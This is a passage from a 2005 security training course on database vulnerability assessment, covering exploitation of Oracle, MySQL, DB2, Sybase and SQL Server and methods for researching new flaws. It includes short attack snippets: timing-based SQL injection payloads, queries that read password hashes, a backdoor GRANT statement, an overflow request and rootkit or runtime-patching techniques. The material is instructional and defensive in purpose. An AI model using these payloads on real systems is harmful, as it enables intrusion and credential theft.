The TIME_ZONE parameter is vulnerable to a buffer overrun attack. The below request
overwrites the saved return address on the stack. As Oracle is usually run as system on

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

148

Module 8: Exploiting Vulnerabilities to Gain Control

Windows, this attack allows for a complete compromise of the system, and on UNIX,
usually running as ORACLE, allows for a complete compromise of the data.
ALTER SESSION SET TIME_ZONE = '<long string here>'; SELECT
CURRENT_TIMESTAMP, LOCALTIMESTAMP FROM DUAL;
In a default installation, any user can execute this request. The above attack was executed
using the SCOTT / TIGER account.

Sybase Declare Statement Buffer Overflow


Sybase ASE implements a number of extensions to the SQL language that relate to
procedural execution. One component of this set of extensions is the ability to declare
variables of specified types, using the "declare" statement. The "declare" statement can be
constructed to cause a stack buffer overflow. It is not possible for NGS to demonstrate
this issue at this time.

IBM DB2 JDBC Applet Overflow


IBM's DB2 JDBC Applet Server suffers from a stack based buffer overflow vulnerability
that can be exploited remotely without a user ID or password. When a client connects to
the JDBC applet server on TCP port 6789 it does so using a proprietary protocol. The
connection packet starts with ValidDb2jdTokenFromTheClientSide and includes the
username, the password, the db2java.zip version and the database to connect to.
The exploitation of this bug is slightly complicated. Firstly, an attacker attempts to
authenticate to the JDBC applet server on TCP 6789 with an overly long username of
around 2200 bytes then disconnects gracefully. Secondly, the attacker reconnects, but
this time sends a short username and sets the db2java.zip version to something other than
expected by the server. An error is logged and at some stage the null terminator is
removed and the original username that was sent is concatenated to the db2java.zip
version. This is then copied to a stack-based buffer and it overflows.

MySQL Pre-authentication Overflow aka Scramble


As we have seen at the end of Module 5: Unauthenticated Database Enumeration there is
a pre-authentication vulnerability that allows a user to login to the server with a zero-length
specified string. It is also possible to use this vulnerability as a stack overflow within
MySQL. This is achieved by specifying a long scramble string instead of a zero-length
string. The buffer is overflowed with characters output from my_rnd(), a pseudo random
number generator. The characters are in the range 0x40..0x5f. On some platforms,
arbitrary code execution is possible, though the exploit is complex and requires either

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

149

Module 8: Exploiting Vulnerabilities to Gain Control

brute force, or knowledge of at least one password hash. The attacker must know or be
able to guess the name of a user in order for either of these attacks to work, so renaming
the default MySQL 'root' account is a reasonable precaution. Also, the account in question
must be accessible from the attacker's host, so applying IP address based login
restrictions will also mitigate this bug. It is interesting to see that a simple change in the
attack vector can potentially yield a remote command execution vulnerability.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

150

Module 8: Exploiting Vulnerabilities to Gain Control

Advanced Exploitation with Rootkits Runtime Patching


In many cases, after exploitation it is possible to further affect the integrity of the database
installation by choosing to deploy a database Rootkit or Runtime patching option. Runtime
patching also allows an attacker with an unauthenticated buffer overflow / format string
exploit to gain database privileges.

General Database Rootkits


Rootkits are not a new concept by any means in terms of Operating Systems however, it is
fairly new in the database world. Alexander Kornbrust of Red Database Security
(http://www.red-database-security.com/) has written an excellent paper on Database
Rootkits that shows the comparison of database commands versus Operating System
commands and doing so shows the ability to Rootkit Oracle.
The general principles of a database Rootkit are for an attacker to bury or hide malicious
user accounts, processes and database resources within your database installation. This
allows for easy compromise and access at any later date.

Trojaning Extended Stored Procedures in MS SQL and Sybase


After installing a database and without any provision for Operating System hardening,
several weak file system permissions often exist for database image or resource files.
When the database is not running it would be trivial for a malicious attacker to replace or
splice key database DLLs to perform trojaned operations.
However, once the database is running it is not easy to replace a DLL that has already
been loaded into memory with a trojaned version. One area that is simple to modify
however, are the files that are associated with Extended Stored Procedure functionality.
Files that start with xp* are only loaded when and if the Extended Stored Procedures are
executed. By choosing an Ext Stored Proc that has PUBLIC access and modifying the
source code for it (and then recompiling) it is an easy process to add attacker desired
instructions. When the Ext Stored Proc is executed by a normal database user or
administrator, the attackers commands will also execute.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

151

Module 8: Exploiting Vulnerabilities to Gain Control

Trojaning MySQL
As with most database Trojan / Rootkit options there are several on offer for MySQL:

Adding a Database User Adding a database user account with administrator


permissions is the easiest way for an attacker to backdoor a MySQL installation.
However, it should be obvious to the legitimate administrator when a new account
has been created. This is not always the case however, since the majority of
admins will use the mysql command line interface to check their installation.
Depending upon the terminal in use, it is often the case that the output from a user
query will result in a large amount of wrapped text upon the screen. It is extremely
difficult to determine which permissions map which users. The attacker may be
even more devious and create the user account with a blank user name or a Y
character. This would be very difficult to read in a wrapped text terminal with the
mysql command line tool.

Modifying an Existing Users Privilege - It is possible to run simple commands that


change the level of user database permissions given that the attacker has the
permission to do so in the first place. Simply specifying the following statement
would grant all users all privileges (except GRANT itself) on the MySQL database.

GRANT ALL PRIVILEGES ON mysql.* TO ''@'%'

Cracking Admin User Account Passwords As we have seen previously, if the


password hash is available, either form direct table access of from sniffing the
local network it is trivial to crack the hash and reveal the clear text password.
Doing this for all database administrator level accounts will arm the attacker with
several ways to re-enter the database.

Modification of Existing User Defined Function (UDF) It may be possible to


modify a UDF to perform operations such as adding a user or some other
malicious operation.

Modification of the MySQL Code Base It is possible to patch the MySQL


installation (with just one bit!) to alter the behaviour of remote authentication so
that any password is accepted. This ensures that providing remote access is
granted to the server and an attacker has knowledge of an appropriate user any
password can be specified to gain access.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

152

Module 8: Exploiting Vulnerabilities to Gain Control

Even Cooler! Patch the Database at Runtime!


Chris Anley of NGS Software developed a technique known as Runtime Patching for
Microsoft SQL Server 2000. Essentially, utilising an existing OS compromise vulnerability
for the server such as a buffer overflow, it is possible to patch the SQL Server process in
memory whilst the server is running. This allows the attacker to change the behaviour of
security precautions within the product and remove some key access control restrictions
for the installation.
A good example is when a low privileged SQL Server user attempts to run the query:
select * from sysxlogins
This table contains the precious database user password hashes and so can only be
accessed by members of the database administrators group. Running this query as a low
privileged user (whilst debugging the SQL Server process) throws a C++ exception within
the debugger. The execution continues and returns the following message to the user:
SELECT permission denied on object 'sysxlogins', database 'master',
owner 'dbo'.
When running this query as the user SA, the process executes correctly and no exception
is witnessed within the debugger. The function responsible for this behaviour is called
FHasObjPermissions and makes a further call to ExecutuionContext::Uid. Simply put, this
function checks that the UID of the user making this request is equal to 1 (for the database
administrators group). If it is, then the query executes and if not the error message is
displayed and the exception thrown.
It is possible to patch ExecutuionContext::Uid to always return a 1, thus always passing
the security test. Chris discovered that a simple patch in this function of three bytes could
allow any user all permissions on any database object! There are more steps to this
process, but this overview should give a fair indication of the method at hand.
For further details on this process, see Chriss original paper entitled Violating Database
Security which is listed on the NGS Software web site along with other excellent
whitepapers (http://www.ngssoftware.com/papers.htm).

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

153

Module 8: Exploiting Vulnerabilities to Gain Control

Module Summary
In this module we have seen some of the critical vulnerabilities that exist within common
database solutions and the extent to which they can be used to leverage control. The
following elements have been covered:

Code injection within database resources that can lead to privilege escalation.

Reading from and writing to arbitrary files on the Operating System from within a
database.

Methods for breaking out of the database and attacking the server host and
network. This has included methods for building custom attack tools within Java,
T-SQL and JSQL.

Older, classic vulnerabilities associated with temporary stored procedures and the
SQL Server Agent have been discussed to represent areas that are still
overlooked within products.

Serious buffer overrun conditions have been discussed showing the critical nature
of remote unauthenticated command execution within databases and Operating
Systems.

Advanced compromise techniques have been touched upon, discussing the


methods for Rootkits and Runtime Patching.

This module is designed to be in no way exhaustive and instead is representative of the


types of vulnerabilities researchers are discovering on a regular basis.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

154

Module 9: Researching Database Vulnerabilities

Researching Database Vulnerabilities

Module Abstract
So far the course has discussed methods of exploiting databases through known flaws
and common configuration weaknesses. This module instead attempts to show where
databases are generically vulnerable, and where future vulnerabilities are likely to be
found. It also provides readers with guidelines in finding new vulnerabilities.
For DBAs and network administrators, the main interest will be in finding vulnerabilities
within an existing system. This module touches on vulnerability assessment for a specific
installation, and may help uncover fundamental flaws in the implementation.

Module Overview
This course module consists of the following topics:

Assessment Methodology / Specific Installations

Assessment Methodology / Research

Preparing a Test & Research Environment

Finding New Exploitation Methods

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

155

Module 9: Researching Database Vulnerabilities

Assessment Methodology
Methodology / Specific Installations
The methods used for finding vulnerabilities in a specific corporate implantation and a
database product itself may vary considerably. Often, finding a vulnerability in the former is
will be a much quicker or more elegant short cut for an attacker than exploiting a
database vulnerability. While the subject of finding general vulnerabilities is the main
subject of this module, some time is spent here examining some of the other vulnerabilities
resulting from a specific implementation.

Breaking the Client in a 2-Tier Model


In a 2-tier client system, it is quite common for a large amount of the security to be
implemented on the client application. The client application may contain greyed-out
fields, or give insufficient privilege errors, all of which may be fairly superficially built into
the GUI.

Client Access
Often, a user is given a thick client to log into. This will contain fields, buttons and
modules, which all go into formatting an SQL query. This query is sent to the server, and
the result is displayed inside the client application. If the user has a login to the application,
the chances are they will be able to log straight into the database with these credentials,
using their own client. If this is not possible, there may be other ways of gaining arbitrary
query access under that user account. Here are some, presented in order of increasing
difficulty.

Sniffing / Intercepting the Client


A user can generally view the connection string and all subsequent queries by placing a
traffic analyser on the path between the client and server. Normally, everything is in clear
text. Even if the authentication is encrypted, the ensuing queries will be via standard
ODBC, which is clear text. In some situations, the client will have been better
implemented, encrypting the entire communication over certificate-based SSL

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

156

Module 9: Researching Database Vulnerabilities

Client Disassembly
A more complex method of bypassing the local restrictions and executing arbitrary queries
is to debug the client, and use breakpoints to manipulate the application. An example is
given here, using a standard SQL Query tool downloaded from the Internet. First, the
attacker downloads and runs WinDbg, the Windows Debugging Tool provided by
Microsoft. The query tool is opened in WinDbg. The attacker then opens the Disassembly
window.
As most ODBC queries are made through the function SQLExecDirect, the attacker can
set a breakpoint on this function; just type SQLExecDirect into the disassembly window in
WinDBG, or breakpoint the address directly if you know it.
bp 1f80b610
Note: The user may have to find the relevant function if the application is using other
functions or APIs.
The attacker then runs the query tool by selecting Go. Once the tool is running, any
attempt to execute a query (in this example) will hit the breakpoint. In this case, scrolling
back through memory from ebp (at 11bfe98) has revealed the connection string, which
includes the username and password. From here, if there is no certificate or other
connection requirement, the user can connect directly to the database with a full query
tool. Otherwise, scrolling back through memory a bit further reveals the original query that
hit the breakpoint; in this case the user has some more work to do, but has at least
obtained arbitrary query access to the app, as they can now modify the query. The
following screenshot (overleaf) illustrates this:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

157

Module 9: Researching Database Vulnerabilities

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

158

Module 9: Researching Database Vulnerabilities

2-Tier Model Business Layer Attacks


Very often, the addition of the business layer creates a new layer of potential
vulnerabilities. Some developers use short cuts to importing and exporting data, or other
system access. Others use stored procedures as a database view; these often contain
logic flaws and dynamic SQL.
Inference attacks are particularly dangerous, as they can be conducted by users who do
not have any specialist knowledge of databases. This is a true business layer attack, is
very hard to defend against, and while not database-specific, can be exacerbated greatly
by the ease of information retrieval in databases. A scenario is presented here:
A call operator works on reception for a medical practice. The call operator can take calls
from clients and ask them to list symptoms, entering these into a database. To protect
client medical records, the call operators may not see the results of diagnosis or
prescriptions.
Vulnerability: the working practice is updated so that all call operators can view all the call
logs, to ensure they have been entered correctly, allow logs to be retrieved by operators in
case of staff shortage, and to ensure the doctors workload is evenly distributed.
Exploit: an insider qualified as a call operator can now pull up a list of all the patients and
symptoms. Cross-referencing symptoms with a free online database, they work out the
illness. Pulling up repeat visits, they work out failed diagnoses.

SQL Injection in an N-tier Model


Generally, a 3-tier model is used, and the end user has access over HTTP to an
application server. SQL Injection in this situation is a very common and well-documented
attack, and has been the subject of many white papers. Some more information can be
found here:
MSSQL:
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
Oracle:
http://online.securityfocus.com/infocus/1644
http://online.securityfocus.com/infocus/1646

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

159

Module 9: Researching Database Vulnerabilities

As SQL injection has been so well covered, only a few points are made here to summarise
the attacks presented in these papers. Under MSSQL server, it is possible to run batched
queries, so entering:
; INSERT INTO ..
will work. The INSERT query will run after the original SQL query has completed.
MSSQL Server includes a waitfor syntax which pauses execution of a query for the
specified time. An attacker can use this through SQL injection to determine the result of a
query, without needing an error message from the server:
if (select user) = 'sa' waitfor delay '0:0:5'
i.e., If the current DB account is sa, the web page will wait for 5 seconds before
returning. An attacker can retrieve arbitrary information by comparing a bit to 1 or 0:
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor
delay '0:0:5'
A function which allows this type of operation in MySQL is the Benchmark function.
select if( user() like 'root@%', benchmark(50000,sha1('test')),
'false' );
The Benchmark function will then run 50000 calculations of the sha1 hash of the string test
if the condition is met.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

160

Module 9: Researching Database Vulnerabilities

Assessment Methodology
Methodology / Research
Assuming that the researcher has only the installation media, the following steps may be
used in assessment:

Installation
The installation is monitored to determine the default configurations and settings,
installation directories, registry keys created and file permissions set during installation.
This determines the default attack surface available. The installation is then repeated,
opening as much of the available functionality as possible.

Vulnerability Research External connectivity


Any point at which the database can be accessed remotely may lead to a high risk
vulnerability, particularly if the vulnerability occurs prior to authentication. Possible
interesting sources include:

Inter-database Connectivity (e.g. clustering, replication)

SNMP Management

Connection through API protocols

Connections to software developed by the same company

Interfaces with other OS protocols, e.g. RPC, Kerberos, Windows LANMan


authentication

Within each of these, the researcher is looking for parameters outside the norm; if a
database usually accepts [username, password], but requires [username, password,
charset] when the connection comes from a particular app, is there an overflow in an
overly long charset? This charset parameter may have been added later, it may be a
previously unconsidered requirement of the apps communication, or the value may be
trusted because it only comes from the app, not from a client.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

161

Module 9: Researching Database Vulnerabilities

Vulnerability Research Internal attacks


An internal attack is one that originates from within a database session. This will reduce
the risk rating of the vulnerability; however, in an environment where a full privilege model
exists, there are many vulnerabilities to be found due to the huge amount of functionality,
for example:

DML / DDL attacks

Stored Procedures

Functions

Triggers

Libraries

Again, the researcher is often looking for differences and unique elements within these
objects.

Fuzzing
Fuzzing is such an important part of an assessment methodology that it is worth covering
as a separate section. An approach to Fuzzing is outlined below:

Inputs to the Application are Located - The application is used by a tester for a
short period of time. This allows the tester to locate features which can be used to
interact with the application. Any and all methods of providing input to the
application are considered, and are examined further if they are within scope.

Breakdown of Inputs - Once a general class of input has been located, it is broken
down into as many component inputs as possible. Each one of these sub-classes
of input is considered separately.

Inputs are Fuzzed - Fuzzing is a process whereby a legitimate request using a


given protocol is corrupted in some way in order to produce a mostly-legitimate
request. The idea is to produce a request which will be accepted by the
application, but will be processed by the application in a way which the original
developers did not expect. If the request is too corrupt, the application will reject
it; if the request is not corrupt enough then the application will process it exactly as
expected. Corruption may take the form of out-of-bound characters, executable
binary code, overly-long strings, printf() format specifiers, or any other form of
input appropriate to the input method being fuzzed.

Fuzzing is a balancing act, attempting to keep the level of corruption such that the
application accepts the request, but still does not process the request the way it

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

162

Module 9: Researching Database Vulnerabilities

should. In most cases, there is no overlap between accepting the request and
behaving unexpectedly; the researchers experience with black box testing is what
allows the trade-off to be gauged appropriately.

Outputs are Monitored - During Fuzzing, the database is monitored for any
unusual behaviour. This may be as obvious as an application crash but in most
cases is not; memory consumption, error messages, display corruption, CPU
usage, unexpected network activity, and many more are all considered as signs of
potential application instability. All of these and many more are monitored in as
much detail as possible, and the moment that an indication is seen that the
application is not behaving as desired, testing will focus in on whatever caused the
flaw.

Repeatability - Once evidence of instability has been found, the test will be
restarted from the last convenient breakpoint. Often, instability is completely
random, and applications can and do crash for no reason at all other than the
stress that a test is placing upon them. This kind of instability is not usually
repeatable, and is of little use (other than as a general comment). However, if a
repeat of the test produces the same instability in the application, further
investigation is performed.

Further Investigation - Once a test has been identified which reliably causes
indication of undesired behaviour, the test case is mutated and refined. Minor
variations will be introduced into the test case in order to pinpoint the exact limits
of the instability. This could be varying the length of a string, changing the format
specifiers used, alternating the format of the message, or any of a large number of
other tests. This phase of testing will ultimately identify the exact limits and
capabilities of the problem; exhaustive testing here will pinpoint exactly what is
going on, based on the researchers experience of similar situations encountered
in other tests. In some cases, the test will turn out to be a false positive, in which
case testing will re-commence from the next Fuzzing attempt.

Source Code
If a researcher has access to source code, such as stored procedures, it may be possible
to find vulnerabilities through inspection. In MSSQL server for example, a researcher could
search for dynamic SQL statements within built-in and custom stored procedures by
running the following query:
select sysobjects.name, syscomments.text from sysobjects,
syscomments where syscomments.text LIKE '%exec%' and syscomments.id
= sysobjects.id order by sysobjects.name
Similarly, the attacker might search for operations involving external libraries:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

163

Module 9: Researching Database Vulnerabilities

select sysobjects.name, syscomments.text from sysobjects,


syscomments where syscomments.text LIKE '%.dll%' and syscomments.id
= sysobjects.id order by syscomments.text
Of course, if the database is open source itself, there is a scope for a full source code
review. Various tools exist to do this, although they are not contextual and only report
cases in isolation, such as use of a potentially vulnerable function.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

164

Module 9: Researching Database Vulnerabilities

Preparing a Test & Research Environment


If possible, a researcher should use an environment over which they have full control. This
will allow monitoring of the database process, files, registry access, and network access
during conduction of an attack. If a vulnerability such as a buffer overflow is discovered,
the database must be attached to a debugger to determine which registers can be
controlled, and how much attacker-defined code can be executed (if any).

Regmon / Filemon
These two utilities from www.sysinternals.com allow users to log registry and file reads
and writes. These can be filtered to allow users to log specific access to specific resources
only. This helps identify which actions within the database correspond to external actions
performed by the database.

TCPView
Another tool from SysInternals, this allows to report communication on the network. The
user can match ports, local and remote communications, and reference these to the
relevant local service performing the operation.

Process Explorer
The final SysInternals tool, this reports detailed information about each process, in
particular, which registry keys, files and directories the process has open, the process
tokens, and information on threads/mutexes,

OllyDbg
or any debugging tool, is more of a requirement in exploit development, however it can
be very useful to quickly determine whether a buffer overflow would be exploitable or not.
Sometimes a process may fail and restart automatically, at which point the researcher
must have been debugging it to notice the failure.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

165

Module 9: Researching Database Vulnerabilities

Ethereal
View all network communication with the database. Ethereal also possesses protocol
decoders for MySQL, TDS (Sybase and MSSQL) and other non-database protocols.

Similar tools exist for Linux / UNIX.

Built-in OS Tools

Fuser: returns the PIDs of processes using a particular file

Netstat: the UNIX version allows connections to be connected to PIDs and


program names.

LSOF
One of the most powerful diagnostic tools for Linux, LiSt Open Files allows users PIDs to
be matched with open files. This is extremely useful, as under UNIX sockets, directories,
devices and inodes are all files. LSOF allows this information to be filtered by specifying a
particular file, directory or port, or a user could pipe the output through grep.

GDB
A full-featured command line debugger for UNIX.

Spike
http://www.immunitysec.com/resources-freesoftware.shtml
Spike is a generic network protocol Fuzzer that makes use of harnesses to send custom
craft spk files over a specific network transport. The spk files describe the data the static
and dynamic data in a particular packet. Each data type that Spike is capable of Fuzzing
has a set of known interesting values - for numeric fields these typically take the form of
boundary values and for strings, take the form of overly long strings, encoded strings and
strings containing format specifiers. Spike is particularly useful for Fuzzing unknown
protocols since data captured from a sniffer can be inserted into a script then dynamic

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

166

Module 9: Researching Database Vulnerabilities

areas of the packet can be mapped and fuzzed. Spike comes with some basic test scripts
for common protocols.
This covers the monitoring required but no the attack tools. Most of the attack tools will
consist of the researcher himself, a tool to capture and send network traffic, and a Fuzzer.
Fuzzers have been covered in the section above, and a freeware one (Spike) is
mentioned, however the researcher will likely want to develop a custom Fuzzer. For the
Fuzzer to work, they will need some network traffic to fuzz. A good way of obtaining the
network traffic is through Ethereal. Ethereal allows decoding and exporting of traffic as C
arrays; these can be replayed easily in a C Fuzzer.
An example set of screenshots should illustrate Ehereals worth as a research tool. The
first screenshot allows the researcher to decode and view the initial database connection
parameters, the second screenshot shows the same conversation as C arrays. Typically,
an attacker would only be interested in the initial (pre-authentication) packets sent by the
client to the server.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

167

Module 9: Researching Database Vulnerabilities

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

168

Module 9: Researching Database Vulnerabilities

Ehereals C Arrays

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

169

Module 9: Researching Database Vulnerabilities

Finding New Exploitation Methods


The Assessment Methodology section above outlines Fuzzing-based approaches to
vulnerability research. In general, a combination of Fuzzing and underlying database
knowledge will result in a better approach and a more targeted Fuzzing technique. In
general, Fuzzing is mainly useful for the remote connection protocol, but once query-level
access is considered, its usefulness drops off sharply. In any case, a level of knowledge of
database vulnerabilities is essential.
A reasonable starting point towards finding new vulnerabilities is to look at the security
history of the product and of similar products. This will provide several things:

Identical Vulnerabilities within Different Databases


There is a long username overflow in Oracle and Informix. NGS has had a lot of success
with long connection string attacks in MSSQL, Oracle, Sybase ASE, MySQL, DB2 and
Informix (i.e., almost every database researched). It makes sense to fuzz the preauthentication protocol within a database, as it is a common area of weakness, and
vulnerabilities will be high risk.
In all databases, there is usually a way of creating a library and linking it to an external
library. Clearly this could allow a variety of vulnerable behaviour, as the library is outside
the control of the database (e.g. Msvcrt.dll contains a certain function ExitProcess() for
example).

Areas of Historical Weakness in a Database


Oracles ExtProc is a good example of an area of historical weakness:

First, it was observed that an attacker could masquerade as the Oracle process
and request the Listener to load an arbitrary library. The listener passes this to the
ExtProc process and the attacker can run a function within the library, e.g.
system() in msvcrt.dll.

Part of the solution to this vulnerability was to deny remote requests to load
libraries, and log the attempt. The logging process was vulnerable to a stack
overflow as a long library name. Again, no username and password is required.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

170

Module 9: Researching Database Vulnerabilities

The solution to the overflow was to introduce a length check on the library name.
However, the length check occurs in the wrong place, and a variable such as
$PATH can be specified some time after the length check, the value of $PATH
is used, instead of the literal 5-character string. This causes an overflow. Again,
no username and password is required.

MySQLs scramble function has been historically vulnerable:


In 2000, it was reported in BID 975 that MySQL relies on a scrambled variable for
authentication.
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; /* Wrong password */
}
If the client sends a single byte for the scrambled string, the function will compare the
byte, and if it matches the first byte of *to^extra, the user is authenticated. Brute-forcing
this is simply a matter of sending enough requests to match the character (32 tries). This
was patched by MySQL AB.
Vulnerability BID 6373 demonstrated that the same vulnerability could be accessed locally
through COM_CHANGE_USER. The same variable could be accessed, and the same 32iteration brute force was possible. MySQL ABs fix was to apply randomisation to the
variable scrambled, so that clients did not have control over the length or contents of the
variable.
Vulnerability BID 10654 found yet another method of authentication bypass, using the
same weakness in the byte-for-byte comparison in the above code. This time, the client
can engineer a situation where they can specify the password length followed by a null
byte. This results in the check_scramble_323 function performing the above check with a
zero-length variable scrambled. This is passed immediately and the user is
authenticated. More information is available from NGS Hackproofing MySQL paper:
http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
In areas of historical weakness the underlying code is often vulnerable to many issues,
and a patch addresses the specific vulnerability found by the researcher (often, only for
that specific instance reported SQL injection has been reported in a parameter of a
stored procedure, only for the patch to address that specific parameter and leave the
others vulnerable). There may well be other issues in the code. Any new functionality on
this historically vulnerable area may lead to more vulnerabilities due to the new vector in
(e.g. the ExtProc logging mechanism).

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

171

Module 9: Researching Database Vulnerabilities

Common Vulnerability Groupings in a Database


Finding a vulnerability often leads to several more vulnerabilities, as there may be a more
fundamental issue for which the vulnerability is only a specific manifestation. For example,
NGS found a buffer overflow in the CREATE DATABASE command in Sybase ASA.
CREATE DATABASE AAAAAAAA
This is not a particularly high risk vulnerability, as the ability to create a database is likely
to be restricted to DBAs. However, it was easy to work out that the database being
created is a file, and that this vulnerability generically affects files:
CREATE WRITEFILE 'AAAA'
CREATE DBSPACE something AS 'AAAAA'
INSTALL JAVA NEW FROM FILE 'AAAAA'
CREATE COMPRESSED DATABASE 'newpath\new.db' FROM 'AAAAA' KEY
'any_key'
BACKUP DATABASE TO 'AAAA'
BACKUP DATABASE DIRECTORY 'AAAA' TRANSACTION LOG RENAME
RESTORE DATABASE 'AAAA' from 'AAAA'
These clearly stem from a single issue: file handling. The different vectors are still very
relevant, as a user may be given any one of the privileges either directly (to fulfil a
business operation) or indirectly (through an SQL injection hole).
The current popular vulnerability area in databases is SQL injection in stored procedures.
NGS reported SQL Injection vulnerabilities in the following stored procedures in the same
advisory:
WK_ACL.GET_ACL
WK_ACL.STORE_ACL
WK_ADM.COMPLETE_ACL_SNAPSHOT
WK_ACL.DELETE_ACLS_WITH_STATEMENT
DRILOAD.VALIDATE_STMT
Here, the common code in the procedures is the root cause, not the end resources which
are being called. There are many other examples. Look at past database advisories to
see how often they are actually multiple vectors and affected parameters grouped
together.

Common Causes of Vulnerability


The classic vulnerabilities of buffer overflows, Format Strings, SQL Injection and Path
Traversal have been discussed in earlier modules. These are the root causes of

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

172

Module 9: Researching Database Vulnerabilities

vulnerability, however they need to be linked to databases. With some exceptions, the
common locations for these flaws are the Edge (or Perimeter) Functions. If the database is
considered a self-contained, homogenous system, then it is likely that the developers
coding the self-contained elements would have considered the possible states and scope
of the variables and made fewer assumptions than the developers who deal with variables
and data entering and leaving the system. This is because the developer cant see the
variable in all its states, and might have to implement more relaxed sanity checks to
ensure the functionality works. The developer may also assume that certain variables
have already been checked at the other end, particularly if the other system is developed
by the same company. A possible example of this is Oracles ExtProc, which runs as a
separate process from Oracle.

New Exploitation Methods


Having spent most of this course describing the same types of vulnerabilities in many
different situations, it is worthwhile pointing out that not all vulnerabilities have to follow
these categories such as SQL injection, format string and buffer overflow. Some different
vulnerabilities from each of the databases are presented here along with an analysis.
These are not necessarily new or recent vulnerabilities, nor are they high risk, but they
should illustrate some of the areas and methods available when searching for
vulnerabilities.

Syntax Permissions in OUTER JOIN (BID: 4523)


An OUTER JOIN returns rows from the outer side of the join which dont match rows on
the other table. In 2002 there was a flaw in Oracles implementation which allowed the
query to return rows to which the user did not have permission. For example, a lowprivileged user could run:
select a.username, a.password from sys.dba_users a left outer join
sys.dba_users b on b.username = a.username
and select password hashes from dba_users. A permissions flaw in the syntax.

Oracle Character Conversion Bug (BID: 10871)


The character Y is treated in a unique way by Oracle. NGS Researchers discovered that
in Oracle 10g, 0xFF is converted to 0x59 (an uppercase Y) using the standard US charset.
Due to the databases conversion of the character, it is possible to provide Oracle
Application Server with a URL which, as far as the app server is concerned, is not a
restricted URL:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

173

Module 9: Researching Database Vulnerabilities

http://server/pls/windad/S%FFS.OWA_UTIL.CELLSPRINT?P_THEQUERY=selec
t+username+from+all_users
(use of SYS.OWA_UTIL.CELLSPRINT is normally restricted)
Furthermore, it was discovered that both %FF and %9F are converted to a Y if the UK
charset is used. None of the other characters are susceptible to this, and no reason for
this is known. More information can be found here:
http://www.ngssoftware.com/advisories/oracle23122004G.txt

MySQL Authentication Bypass (BID: 10654)


The MySQL Authentication Bypass described in the historical weakness section is a
good example of a logic flaw. This logic flaw could realistically only have been found
through inspection of the source code; the leaps of induction needed to find this through
any other method would be too great.

OpenRowSet Privilege Escalation in Mixed Mode


OpenRowSet is used to access resources on a remote database. When OPENROWSET
is used, SQL Server is actually acting as a client of the provider specified in the arguments
of OpenRowSet. There was a vulnerability in SQL Server where if the database was
running as a Local Administrator, and supported mixed mode authentication, a user could
escalate privileges by using OpenRowSet on localhost, without supplying a password:
select * from OPENROWSET('MSDASQL','DRIVER={SQL
Server};SERVER=;;','select name, password from master..sysxlogins')
The database is allowed to log into itself, and automatically logs in as a Local
Administrator.

Weak Permissions on Windows Objects In DB2


Almost all shared memory sections and events in the Windows version of DB2 appear to
have weak permissions; all sections can be read and written by Everyone, and all events
can be set and waited on by Everyone. As DB2 uses the Operating System accounts
within the database, users can access query and result data from a number of shared
memory sections. Another shared memory section was found which may contain
usernames and passwords, depending on the DB2 configuration. A user can also write to

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

174

Module 9: Researching Database Vulnerabilities

the sections, allowing DB2 to be DOSd trivially, and potentially allowing interesting results
such as SQL injection!

Sybase declare Buffer Overflow


One of the most fundamental elements in SQL programming has to be the concept of data
types and variables. Interestingly, there is a buffer overflow in the declare statement in
Sybase:
Declare @a AAAAAAAAAAAAAA
This is a very recent vulnerability.
A researcher can never be too bold in looking for vulnerabilities.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

175

Module 9: Researching Database Vulnerabilities

Module Summary
In most client-server models, finding a new vulnerability is often simply a matter of reverse
engineering the client application; many of the controls are often built into the client in the
form of greyed-out boxes and otherwise protected modules (e.g. disabled buttons).
In finding new vulnerabilities in a database product, the reader should now have a strong
indication of how to research these. The following notes highlight the main points:

Many vulnerabilities recur in some form, particularly if the underlying code is old,
or deeply integrated into the system.

Very often, vulnerabilities are related, or are a subset of a fundamental effect. If a


researcher can identify a fundamental issue, more vulnerabilities can be derived.

Common causes of vulnerability are well known; these should be tested for in
research.

Additionally, the module outlines a toolset for research. This includes:

System monitoring tools (Filemon, Regmon, LSOF, Netstat, fuser)

Fuzzing tools (e.g. Spike)

Traffic capturing tools (e.g. Ethereal)

Debugging tools (WinDbg, GDB, OllyDbg)

Some more unusual vulnerabilities are also identified in the module to illustrate the
